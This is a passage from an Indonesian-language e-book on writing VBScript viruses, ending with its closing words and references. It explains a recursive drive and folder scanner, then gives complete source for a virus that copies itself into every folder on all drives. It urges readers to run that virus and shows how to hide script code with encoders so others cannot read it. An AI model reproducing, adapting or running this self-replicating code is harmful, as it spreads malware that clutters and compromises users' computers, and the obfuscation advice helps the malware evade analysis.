Error Resume Next Perintah pada baris ini berfungsi untuk tidak menghiraukan error yang terjadi dan jika terjadi error maka lanjutkan proses ke baris berikutnya tanpa harus menghentikan program dan tanpa menyebabkan run-time error. • Set Folder = FSO.GetFolder(Path) Baris ini berfungsi untuk mengeset variabel “Folder” sebagai objek “FSO.GetFolder” yang merupakan fungsi yang dimiliki oleh objek “Scripting.FileSystemObject” yang sebelumnya telah diwakili oleh variabel “FSO”. 51
  • 54. • Set SubFolders = Folder.SubFolders Baris ini berfungsi untuk mengeset variabel “SubFolder” sebagai objek “Folder.SubFolders” yang merupakan hasil perwakilan dari “FSO.GetFolder” dari baris sebelumnya. • For Each SubFolder in SubFolders Baris ini merupakan awal blok perulangan FOR…NEXT yang berfungsi untuk mendapatkan daftar folder beserta sub-folder-nya. • DaftarFolder = DaftarFolder & SubFolder & VBCrLf Baris ini berfungsi untuk menyimpan seluruh daftar folder ke dalam variabel “DaftarFolder”. Perintah “VBCrLf” pada baris ini memiliki tujuan yang sama dengan karakter ENTER (untuk pindah ke baris berikutnya). • ScanFolder SubFolder.Path Baris ini berfungsi untuk memanggil fungsi “ScanFolder” untuk melakukan scan terhadap sub-folder. Dengan kata lain memanggil dan memerintahkan dirinya sendiri (fungsi tersebut sendiri). • Next Baris ini meripakan blok penutup FOR…NEXT dari “For Each SubFolder In SubFolders”. • End Function Baris ini merupakan blok penutup fungsi “ScanFolder”. Selanjutnya simpan script tersebut lalu jalankan dan tunggu sampai muncul tampilan messagebox yang bertuliskan “Proses Selesai…” dan setelah itu coba lihat pada drive C: akan terdapat sebuah file yang bernama “Daftar.txt” yang jika dibuka akan berisi seluruh daftar folder dan sub-folder yang terdapat pada komputer anda. Kerenkan… ☺. Gambar 4.6: Messagebox Konfirmasi Proses Selesai 52
  • 55. Gambar 4.7: Daftar Folder pada File Daftar.txt 4.6 Infeksi Masal (Infeksi Seluruh Drive, Folder dan Sub-Folder) Pada sub-bab sebelumnya telah dibahas mengenai cara scan seluruh drive, folder dan sub-folder, pada sub-bab ini pembahasan tersebut akan dikembangkan sehingga kita dapat membuat virus yang dapat meng-copy-kan dirinya sendiri ke seluruh drive, folder dan sub-folder yang berada didalam sistem komputer tersebut. Algoritmanya adalah sebagai berikut : virus dapat meng-copy-kan dirinya sendiri ke dalam folder dan sub-folder yang berada diseluruh drive dengan nama file yang sama dengan nama folder tempat virus tersebut akan di-copy-kan. Script yang digunakan adalah script yang telah dibahas pada sub-bab sebelumnya hanya saja ditambahkan sedikit modifikasi. Script yang tercetak dengan warna MERAH adalah script tambahan ataupun modifikasi, berikut adalah scriptnya : Dim FSO Dim Drive, Drives, Folder, SubFolder, SubFolders On Error Resume Next Set FSO = CreateObject("Scripting.FileSystemObject") Set Drives = FSO.Drives For Each Drive in Drives 53
  • 56. If Drive.IsReady Then ScanFolder Drive & "" End If Next ScanFolder "C:" 'Beri Konfirmasi Proses Selesai... MsgBox "Proses Selesai..." Function ScanFolder(Path) Dim strNamaFolder On Error Resume Next Set Folder = FSO.GetFolder(Path) Set SubFolders = Folder.SubFolders For Each SubFolder in SubFolders strNamaFolder = SubFolder CopyVirus strNamaFolder ScanFolder SubFolder.Path Next End Function Function CopyVirus(TargetPath) Dim strPath On Error Resume Next strPath = TargetPath If Right(strPath, 1) <> "" Then strPath = strPath & "" End If If Not FSO.FileExists(strPath & NamaFolder(TargetPath) & ".vbs") Then 54
  • 57. FSO.CopyFile WScript.ScriptFullName, strPath & NamaFolder(TargetPath) & ".vbs", TRUE End If End Function Function NamaFolder(TargetFolder) Dim i On Error Resume Next 'Hilangkan Tanda BackSlash () Pada Nama Folder If Right(TargetFolder, 1) = "" Then TargetFolder = Left(TargetFolder, Len(TargetFolder) - 1) End If 'Jangan Proses Jika Merupakan Root Drive If Len(TargetFolder) <= 3 Then NamaFolder = "" Exit Function End If 'Jangan Proses Jika Tidak Memiliki Tanda BackSlash If InStr(TargetFolder, "") = 0 Then NamaFolder = "" Exit Function End If 'Dapatkan Nama Folder For i = 0 to Len(TargetFolder) If Mid(TargetFolder, Len(TargetFolder) - i, 1) = "" Then Exit For End If Next NamaFolder = Right(TargetFolder, i) End Function 55
  • 58. Nah… Loh… Panjang banget script-nya… Pokonya perhatikan saja script yang dicetak dengan warna MERAH, karena script yang dicetak dengan warna BIRU sudah dibahas pada sub-bab sebelumnya. Untuk lebih memahami algoritma dari script tersebut coba saja anda copy-kan script tersebut pada notepad dan anda simpan sebagai file *.vbs lalu anda jalankan, setelah itu periksa setiap folder dan sub-folder yang terdapat pada harddisk anda. Ok, mulai bagian ini sampai akhir saya tidak akan memberikan penjelasan seperti pada script-script sebelumnya, soalnya capek banget sih ☺. 4.7 VBE, File VBScript yang Ter-Encode (Terenkripsi / Tersandi) Pada bab terdahulu telah dijelaskan mengenai program enkripsi yang bernama KAVEE (Kefi’s VBS Encryption Engine). Dengan program ini anda dapat dengan mudah mengenkripsi file-file script VBScript anda sehingga tidak dapat terbaca. Algoritma yang diterapkan dalam enkripsi tersebut serupa dengan algoritma enkripsi-enkripsi lainnya yang umum digunakan dalam mengenkrpsi script virus, seperti virus vbs.redlof misalnya. Namun model enkripsi tersebut memiliki kelemahan yang menyebabkan orang lain dapat membaca script yang telah kita buat dan kita enkripsi tersebut. Hal tersebut dapat terjadi dikarenakan pada script yang sama juga telah terdapat fungsi encoder / decryptor-nya. Sebagai contoh, misalnya anda menuliskan script sebagai berikut : MsgBox "Percobaan Enkripsi...", VBInformation, "Informasi" Dan anda enkripsi menggunakan program KAVEE sehingga (kurang lebih) script akan tampak seperti berikut : vhJt = 134 139 133 , ARrAy( 96 , _ , 122 , 118 , 85 , 51 , , 130 53 , 117 130 , , 99 , , _ 120 116 , , _ 56
  • 59. … Script Terlalu Panjang, Dipotong … FoR Each Fopuf In vhJt kPaG = kPaG & chr(Fopuf - 19) neXt ExECuTe kPaG Script diatas merupakan script hasil enkripsi yang dilakukan dengan menggunakan program KAVEE (tidak ditampilkan semua) dan perhatikan pada bagian script yang tercetak dengan warna MERAH. Script yang tercetak dengan warna MERAH tersebut merupakan decryptor yang berfungsi untuk menerjemahkan bagian script yang terenkripsi sehingga dapat dieksekusi. Mungkin anda bertanya-tanya apa pengaruhnya dan apa yang salah serta dimana salahnya??? Ceritanya begini, saya mempunyai teman yang bernama Mario yang tinggal di Wisma Asri Bekasi. Dia terobsesi dengan buku terbitan Jasakom dan salah satu buku yang dia baca adalah “Pemrograman Virus dan Spyware” (http://www.jasakom.com/penerbitan) yang juga terbitan Jasakom. Pada buku tersebut dijelaskan bagaimana cara membaca script yang menggunakan teknik enkripsi seperti diatas yaitu dengan mengganti perintah “Execute” (yang terdapat pada baris terakhir dari contoh script diatas) dengan perintah “MsgBox” dan jalankan script tersebut lalu… ya script tersebut dapat dibaca dan teman saya yang bernama Mario tadi bangga merasa sudah berhasil memecahkan enkripsi tersebut. Namun saya terus berkata: “Itu sih model enkripsi anak TK jadi gampang di-crack, coba lho crack model enkripsi anak SD bikinan gue…”. Terus saya membuat sebuah script yang sama seperti pada contoh diatas dan saya enkripsi dengan menggunakan program Script Encoder buatan Microsoft yang hasilnya seperti berikut : #@~^OgAAAA==ko$K6,Jn D1G4mlUPAxV.bw/b RcJ~,#$q 0KDhlOrKxSPr(x6W.hm/kE0BMAAA==^#~@ 57
  • 60. Lalu saya suruh teman saya yang bernama Mario tadi untuk memecahkan enkripsi tersebut. Apa yang terjadi, dia Cuma “pelengah-pelengoh” kaya orang bego yang jadi tambah bego… Cara membuat enkripsi tersebut adalah dengan menggunakan program yang bernama Script Encoder yang dapat di-download dari website Microsoft. Program tersebut tidak hanya dapat mengenkripsi script-script VBScript akan tetapi juga mampu untuk mengenkripsi script-script ASP, Jscript, dan JavaScript. Namun yang akan dibahas disini adalah bagaimana melakukan enkripsi script VBScript yang terdapat pada file *.vbs menjadi script VBScript yang terenkripsi dengan file *.vbe. Syarat utama yang harus diperhatikan adalah kita akan mengubah file *.vbs menjadi file *.vbe yang berisi script yang telah terenkripsi. File hasil enkripsi harus memiliki ekstensi *.vbe agar dapat berjalan, jika tidak script tidak akan berjalan. Jika anda telah men-download program Script Encoder maka seharusnya anda akan memiliki sebuah file yang bernama “screnc.exe”. file tersebutlah yang akan digunakan untuk melakukan enkripsi dan berikut adalah sintaks penggunaannya : Screnc.exe –l vbscript [file_sumber.vbs] [file_hasil_enkripsi.vbe] Dari sintaks tersebut, file_sumber.vbs adalah nama file yang ingin dienkripsi dan file_hasil_enkripsi.vbe adalah nama file output yang akan dihasilkan yang berisi script yang telah terenkripsi dan diasumsikan kedua file tersebut berada pada folder yang sama dengan program screnc.exe. Berikut adalah caranya : Cara Pertama : 1. Masuk ke DOS Prompt dan pindah directory ketempat dimana file “screnc.exe” berada. 2. Ketikan perintah berikut : screnc –l vbscript file1.vbs file2.vbe 58
  • 61. Cara Kedua : 1. Klik menu “Start > Run” sehingga tampil dialogbox “Run”. 2. Dengan asumsi file screnc.exe dan file script berada pada root drive C:, ketikan perintah berikut : c:screnc.exe -l vbscript coba.vbs coba2.vbe 59
  • 62. PENUTUP Ok, akhirnya sampailah kita pada akhir pembahasan pada e-book ini. Sebenarnya masih banyak lagi yang ingin penulis sampaikan dalam e-book ini, namun dikarenakan keterbatasan waktu serta kesibukan penulis sebagai programmer yang banyak menyita waktu, hal tersebut tidak dapat dilakukan. Mudah-mudahan dilain waktu pembahasan ini dapat dilanjutkan lagi sampai dengan selesai. Akhir kata, penulis ingin meminta maaf jika terdapat kata-kata dan tulisan yang kurang berkenan dihati para pembaca sekalian, dan khususnya untuk teman saya Mario yang sering saya sebutkan dalam e-book ini, sorry banget, tapikan memang kenyataannya kaya gitu ☺. Terakhir, selamat mencoba, tetap semangat belajar, tetap rendah diri, jangan pelit dengan ilmu, dan jangan pernah takut untuk mencoba serta jangan pernah takut untuk gagal. Salam dari Solo, Jawa Tengah, Penulis, Wahyu Primadi, S.Kom, S.Met (Penguasa Distrik Solo) 60
  • 63. DAFTAR PUSTAKA / REFERENSI 1. [K] Website & Article, [K]alamar, http://www.virii.com.ar, Virii Argentina 2003. 2. The Little Black Book of Computer Viruses, Mark A. Ludwig, American Eagle Publications Inc, ISBN 0-929408-02-0, 22/02/1996. 3. Windows Script Documentation, http://www.microsoft.com/downloads/details.aspx?FamilyId=01592C48-207D4BE1-8A76-1C4099D7BBB9&displaylang=en, Microsoft Corporation, [LAST UPDATE]. 4. Windows Scripting Technologies, http://msdn.microsoft.com/scripting, Microsoft Corporation, [LAST UPDATE]. 5. Understanding The Windows Scripting Host, Julian Moss, PC Support Advisor, June 1998. 6. Microsoft Script Engines Documentation, http://www.microsoft.com/scripting/start.htm, Microsoft Corporation. 7. Understanding The Registry, Mike Lewis, PC Support Advisor, May 1999. 8. Windows Registry Guide, http://www.winguides.com, WinGuides, 2002. 61